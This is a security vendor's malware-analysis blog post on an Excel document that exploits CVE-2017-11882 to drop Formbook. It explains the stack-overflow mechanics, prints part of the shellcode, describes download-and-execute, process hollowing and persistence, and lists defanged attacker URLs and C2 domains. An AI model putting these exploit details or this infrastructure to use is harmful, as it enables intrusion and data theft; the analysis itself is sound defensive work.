Excel Document Delivers Multiple Malware By Exploiting CVE-2017-11882 – Part I

fortinet.com/blog/threat-research/excel-document-delivers-malware-by-exploiting-cve-2017-11882

September 19, 2022

FortiGuard Labs recently captured an Excel document with an embedded file in the wild. Of course, we do this all the time. What caught my eye this time is that the embedded file name is randomized, which drove me to want to analyze this Excel document. After some quick research on the file, I learned that it exploits a particular vulnerability —CVE-2017-11882—to execute malicious code to deliver and execute malware on a victim's device.

In this analysis, you will see how the crafted Excel document exploits CVE-2017-11882, what it does when exploiting the vulnerability, what malware families it can download onto a victim's device, and what malicious actions the perpetrators can conduct.

Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Control and Collect Sensitive Information from Victim's Device.
Severity level: Critical

Dissect the Captured Excel Document

The captured Excel document is called "GAT412-IFF22.xlsx". It is saved in OOXML format (Office Open XML, a zipped and XML-based file format) developed by Microsoft. By decompressing this file in an unzip program, as shown in Figure 1.1, we can see the folder tree on the left and all files on the right. The last file, "xtgjls.4flk6W", located in the sub-folder of

“\xl\embeddings\”, is the randomized embedded file.

Figure 1.1 – The outline of the file structure inside the Excel document

Let’s look at how the Excel program loads the embedded file. Figure 1.2 shows the content of the relevant files. They are “..\xl\ worksheets \sheet1.xml” and its corresponding relationship file “..\xl\ worksheets_rels\sheet1.rels”.

Figure 1.2 - Display of how the Excel program loads the embedded file

It parses the XML data of “sheet1.xml” and obtains the Ole Object data, which looks like the following.

<oleObjects>

<oleObject r:id=“**rId1**” autoLoad=“**true**” shapeId=“**1907**” progId=“**L00**”/>

</oleObjects>

- r:id=“rId1” sets the relationship ID defined in file “sheet1.rels”, as shown in Figure 1.2. Its “target” attribute was set to the string “../embeddings/xtgjls.4flk6W,” which tells the Excel program where to load the Ole Object.
- autoLoad=“true” sets Excel to load the Ole Object automatically without prompting the victim.
- shapeId=“1907” tells Excel how to parse the data of “xtgjls.4flk6W”.

As you may know, CVE-2017-11882 is a vulnerability within “EQNEDT32.EXE” that can be exploited when processing specially crafted equation data (formulas data). Equation data is imported in Excel documents as an embedded OLE object. In this case, the Excel program uses COM (Component Object Model) objects to pass the equation data inside the file “xtgjls.4flk6W” to “EQNEDT32.EXE” to parse.

“xtgjls.4flk6W” is saved in the Microsoft Compound File Binary format. There are two binary files in it, “rd8NsPZ44G0yvGbjKKpvH1QTwNU5u” and “[1]oLE10NATiVE”, as shown in Figure 1.3.

Figure 1.3 – View of the crafted “xtgjls.4flk6W” file

“[1]oLE10NATiVE” contains the crafted equation data, where the malicious shellcode will be executed in the vulnerable “EQNEDT32.EXE”.

How the CVE-2017-11882 is Exploited

Copying null-terminated data into a local buffer without a proper length detection causes a stack buffer overflow that leads to arbitrary code execution. The affected local buffer is only 2CH bytes long relative to the function return address. Therefore, the function return address will be overridden if the copied data is more than 2CH bytes.

Figure 2.1 – The content of “[1]oLE10NATiVE”

The highlighted block in Figure 2.1 is the null-terminated data being copied—30H bytes—while the last dword (0x42F72E) (marked with a red rectangle) is the data to override the function return address.

Figure 2.2 – Stack Frame when stack buffer overflow occurred

Figure 2.2 shows a screenshot of the stack frame of “EQNEDT32.EXE”, where the function return address was just overridden by 0x42F72E (the original address is 0x4115D8). Once the function returns, it will return to 0x42F72E to execute a “ret” instruction, which pops a dword (0x18F350) into the EIP register from the top of the stack. The data starting from 0x18F350 is the shellcode from file “[1]oLE10NATiVE”. -The shellcode had already been copied onto the stack.

Below is a partial list of the shellcode at 0x18F350 in the stack.

0018F350	BA BF782F03	mov edx,32F78BF
0018F355	81C2 7D4416FD	add edx,FD16447D

```
0018F35B   8B32                mov esi,dword ptr ds:[edx]
0018F35D   8B2E                mov ebp,dword ptr ds:[esi]
0018F35F   BE 43FC3381         mov esi,8133FC43
0018F364   81F6 F39B7581       xor esi,81759BF3
0018F36A   8B0E                mov ecx,dword ptr ds:[esi]
0018F36C   55                  push ebp
0018F36D   FFD1                call ecx          ;;;; <kernel32.GlobalLock>
0018F36F   05 88FBAA47         add eax,47AAFB88
0018F374   05 4BF65DB8         add eax,B85DF64B
0018F379   FFE0                jmp eax         ;;;; jump to decrypt dynamic code
0018F37B   022E                add ch,byte ptr ds:[esi]
0018F37D   F742 00 00E76000    test dword ptr ds:[edx],60E700
0018F384   04 F5               add al,F5
[…]
```

It calls the API GlobalLock() to get a buffer address inside "EQNEDT32.EXE"'s memory with the entire data of "[1]oLE10NATiVE". It then calculates an offset of a piece of obfuscated code and executes it. It can then be used to decrypt a set of dynamic codes and strings.

The decrypted code dynamically loads some APIs, such as ExpandEnvironmentStringsW(), URLDownloadToFileW(), WideCharToMultiByte(), WinExec(), and ExitProcess(). It then calls the API URLDownloadToFileW() to download an exe file from a URL.

Figure 2.3 – The malware is about to call the API URLDownloadToFileW()

Figure 2.3 is a screenshot of a debugger that breaks at the API URLDownloadToFileW(). As you may notice, its second parameter is a URL of the file to be downloaded, which is a decrypted string—"hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/Cikncbxlojqanjsfotzhopechujkgkeeyz.exe". The third parameter of this API is adding the local file name to the downloaded file, which is "C:\Users\{UserName}\AppData\Roaming\word.exe".

Next, it calls the API WinExec() to start the downloaded file ("C:\Users\{UserName}\AppData\Roaming\word.exe"). After that, the malware starts on the victim's machine. The last step of the shellcode is to call the API ExitProcess() to terminate the exploited "EQNEDT32.EXE" process.

Unfortunately, I was not able to obtain the downloaded file. Instead, I received a 404 error code from the website that the file was no longer available. Nevertheless, after going through the malware sample logs, I found something useful about this website that interested me.

Based on the URL’s patterns, I found many samples using a similar URL to download malware, and from them, I learned that the website was used to deliver two malware families, Formbook and Redline. Therefore, the missing download file is probably either Formbook or Redline.

The following table lists what malware and relevant URLs that I’ve obtained from the logs. I will then pick one sample for each of the two malware families from the table to continue my analysis.

Malware	URLs
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/ueNusTuRz84DVHA.exe
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/linecol_v4.1.1.exe
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/k2p5vFXxdMpidBJ.exe
“Redline”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/fmbj2.exe
“Formbook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/onshedy.exe
“FormBook”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/fbfslispuuepzv0.exe
“Redline”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/storj.exe
“Redline”	hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/hAiNVxLRl3ayBcV.exe

Formbook Malware

I picked the “lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe” file (being saved as “C:\Users\{UserName}\AppData\Roaming\word.exe”) as an example to analyze. It is the latest Formbook sample in the malware sample logs.

“FormBook” is well-known commercial malware. It has been sold as “malware-as-a-service” (MaaS) since 2016. It is designed to steal sensitive information from a victim’s device and control it using some Control Commands.

In this analysis, I will explain how this sample performs on the victim’s device.

Formbook Downloader and Loader

The exe file was developed using Borland Delphi language. Based on my analysis, it is a Formbook downloader and loader. Formbook performs complicated techniques to prevent itself from being easily detected and analyzed. Let’s go on to see how it does that.

Once it runs, it extracts a Dll file into memory from one of its Bitmap resources (named “BBOKK”), as shown in Figure 3.1.

Figure 3.1 – A Dll file will be extracted from “BBOKK”

When the main form’s FormCreate() function is called, it reads the Bitmap data from the Resource section and decrypts it into a Dll file (referred to as “BBOKK” Dll). Next, it deploys the “BBOKK” Dll in memory, and its entry function is called at the end.

The “BBOKK” Dll file is another Delphi-compiled file. It starts a timer to run a timer function after sleeping 9 seconds by calling an API timeSetEvent().

The purpose of the timer function is to download the Formbook payload and then execute it on the victim’s device.

Figure 3.2 – Download the Formbook payload file

Figure 3.2 is a screenshot of when “BBOKK” Dll downloads the Formbook payload file by calling the API InternetOpenUrlA(). Its second parameter is a URL to the file, as shown in memory. It was stored as an attachment on Discord’s CDN (content delivery network).

The attacker encrypted and transformed this file many times to protect its payload file from being blocked and detected. After four decryption and data reversions, we could finally obtain the Formbook payload file, as shown in Figure 3.3.

Figure 3.3 – Just decrypted Formbook payload file and its size in memory

Hollowed Process to Execute Formbook

There are three Windows process strings predefined inside “BBOKK” Dll, as seen below:

“C:\Windows\System32\calc.exe”
“C:\Windows\System32\rasphone.exe”
“C:\Windows\System32\cmd.exe”.

The malware randomly picks one process from them to perform a process hollowing attack. It first needs to create the picked process in a suspended state. Next, it must inject the Formbook payload file into its memory and deploy it. And finally, it copies and creates a remote thread in the picked process whose thread function will execute the injected Formbook by calling its entry function.

To finish this, it calls a bunch of APIs, such as CreateProcessW(), VirtualAllocEx(), WriteProcessMemory(), CreateRemoteThread() and ReadProcessMemory().

Figure 4.1 is a screenshot of a debugger showing where it breaks at API CreateProcessW() with certain parameters, like the random picked process (which was “C:\Windows\System32\rasphone.exe” for this time) and the CreateFlags is 0x44, which is a flag combination of CREATE_SUSPENDED and IDLE_PRIORITY_CLASS.

Figure 4.1 – Break at API CreateProcessW() to create a suspended process

After this point, the Formbook payload file will run inside the random picked process.

Maintaining Persistence on the Victim’s Device

“BBOKK” Dll is in charge of establishing Formbook persistence on the victim’s device. Once it obtains the Formbook payload file, it creates a string value under the sub-key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” of the system registry, as shown in Figure 5.1.

Figure 5.1 – Formbook is added into the auto-run group of the system registry

The auto-run process is “C:\Users\Public\Libraries\foyoqjbsL.url”. This is an Internet Shortcut file (*.url) usually used to open a website within a web browser. The “URL” property is the full path of a local file (which should be a website’s address), as shown in Figure 5.2. It is “C:\Users\Public\Libraries\Lsbjqoyof.exe” which was copied from the “lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe” file. As a result, Formbook will start when the system starts via the “foyoqjbsL.url” file.

Figure 5.2 – The property of “foyoqjbsL.url”

Formbook Payload

I previously performed a deep analysis of another Formbook variant spread in a phishing campaign with an attached PowerPoint document. For detailed information regarding that Formbook sample, you can refer to Part I, Part II, and Part III.

I compared the code, data structure, and features between the fresh variant and that previous one. I found no significant changes between them.

The randomly picked process (like “rasphone.exe”) by “BBOKK” Dll plays the same role as the “AddInProcess32.exe” analyzed in Part II of my previous analysis.

They both have the same data structures and features, such as:

- The “Configuration Object”.
- Its “Anti-analysis Techniques”.
- Injecting Formbook into a Windows process via Explorer.exe as a central control program.
- Inserting Formbook into target processes, like web browsers, email clients, IM clients, and FTP clients, from which it steals sensitive information.
- Using the C2 server’s control commands (“1” to “9”) to control the device and conduct extra tasks, like executing a given malware, upgrading Formbook, deleting keys/values from the system registry, rebooting/powering off the device, and more.

This fresh variant has a new C2 server list, which is decrypted before use. It has 143 encrypted strings, and 64 of the 143 are C2 servers. I wrote a script to decrypt all its strings inside Formbook. For your information, Figure 6.1 is a partial list of the decrypted strings and C2 servers.

Figure 6.1 – Partial decrypted strings from Formbook

The full list of C2 servers this variant carries has been added to the IOC section that locates at the end of this report.

Once Formbook needs to submit the stolen data to a C2 server, it encrypts the data and encodes it with a Base64 algorithm. Following is an example of the HTTP GET packet Formbook sent to its C2 server.

hxxp[:]//www[.]waraporn[.]net/dy47/?Rt=cJEPCFYxXhcTq&nBZhXF=VgD07dflFaksGVxdFL46l5VyvbABpSxwWaaMvOL1tn3EVaDMwmxyqfSWThCs5+vZuoswEw==

Where:

- “www[.]waraporn[.]net” is the C2 server host.
- “dy47” comes from a decrypted constant string, “www.irolexwatchs.com/dy47/”.
- Base64 encoded string after “?” is the stolen data from the victim’s device.

In the next part of this analysis, I will pick one of the Redline samples from the above malware table to research and explain what it can do to the victim’s device.

Fortinet Protections

Fortinet customers are already protected from this FormBook variant with FortiGuard’s Web Filtering, IPS, and AntiVirus services as follows:

The downloading URLs and C2 servers are rated as “**Malicious Websites**” by the FortiGuard Web Filtering service.

The vulnerability CVE-2017-11882 can be protected by IPS signature **MS.Office.EQNEDT32.EXE.Equation.Parsing.Memory.Corruption**.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded file inside the Excel document.

The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. The Fortinet AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.

We also suggest our readers go through the free NSE training: NSE 1 – Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

IOCs:

URLs:

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/Cikncbxlojqanjsfotzhopechujkgkeeyz.exe

hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe

https[:]//cdn[.]discordapp[.]com/attachments/937614907917078588/1009001073970794576/Lsbjqoyofgkmqbuleooykdekgopmtglr

Formbook C2 Server List:

- “valeloaiza[.]com”
- “nxmdta[.]quest”
- “yennft[.]com”
- “techwithnova[.]com”
- “newssmart[.]xyz”
- “devopstp[.]com”
- “trophies3d[.]co[.]uk”
- “helpagencia[.]online”
- “fineclocksandsoaps[.]com”
- “universerealtor[.]website”
- “hyriver[.]com”
- “xishangtao[.]com”
- “getyourhostingnow[.]com”
- “one-poker[.]com”
- “ry-cw[.]com”
- “colaye[.]us”
- “russellbanx[.]com”
- “rennentedieeinzige[.]uk”
- “heliconiaparadise[.]site”
- “234sportsagency[.]com”
- “tenaciouslee[.]com”
- “edenq[.]com”
- “thecreakykettle[.]net”
- “bedmate-ventricose[.]net”
- “andreas-setiarama[.]com”
- “advidd[.]com”
- “enerplus[.]uk”
- “cassavaproject[.]com”
- “cambriacr[.]com”
- “iserghini[.]com”
- “creativacr[.]com”
- “brandmarkenterprises[.]com”
- “uaepilator[.]store”
- “singhdeepak[.]space”
- “belicosocigars[.]com”
- “yysshh[.]top”
- “rekapllc[.]store”
- “fairblare[.]sbs”
- “bryar[.]top”
- “deniz2fotograf[.]online”
- “viproom108[.]com”
- “fullstackchannel[.]net”
- “emjghq[.]com”
- “theclientserver[.]xyz”
- “smartprotectproducts[.]store”
- “thebestconsultants[.]com”
- “453wow[.]com”

- “iwantcreativity[.]com”
- “excel-facile[.]online”
- “waraporn[.]net”
- “topdeckholidays[.]com”
- “slanguage[.]online”
- “mistergreekmeat[.]com”
- “bloombyz[.]store”
- “sparkmediaagency[.]xyz”
- “asdmohs18[.]website”
- “playersclub[.]site”
- “ariedejongtv[.]com”
- “jinchuansh[.]com”
- “affnewyork888s[.]com”
- “ere46[.]site”
- “wevlong[.]xyz”
- “toniotheharrison[.]net”
- “aroma4pets[.]com”

Sample SHA-256

[GAT412-IFF22.xlsx]

D1EA94C241E00E8E59A7212F30A9117393F9E883D2B509E566505BC337C473E3

[Formbook, lsbjqoyofgkmqbuleooykdekgopmtglvjl.exe]

C7B7CC6B73B04E2CD7D026A69D47139770ACE5A92457DA0F0C058EE438251B18

Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio. Sign up to receive our threat research blogs.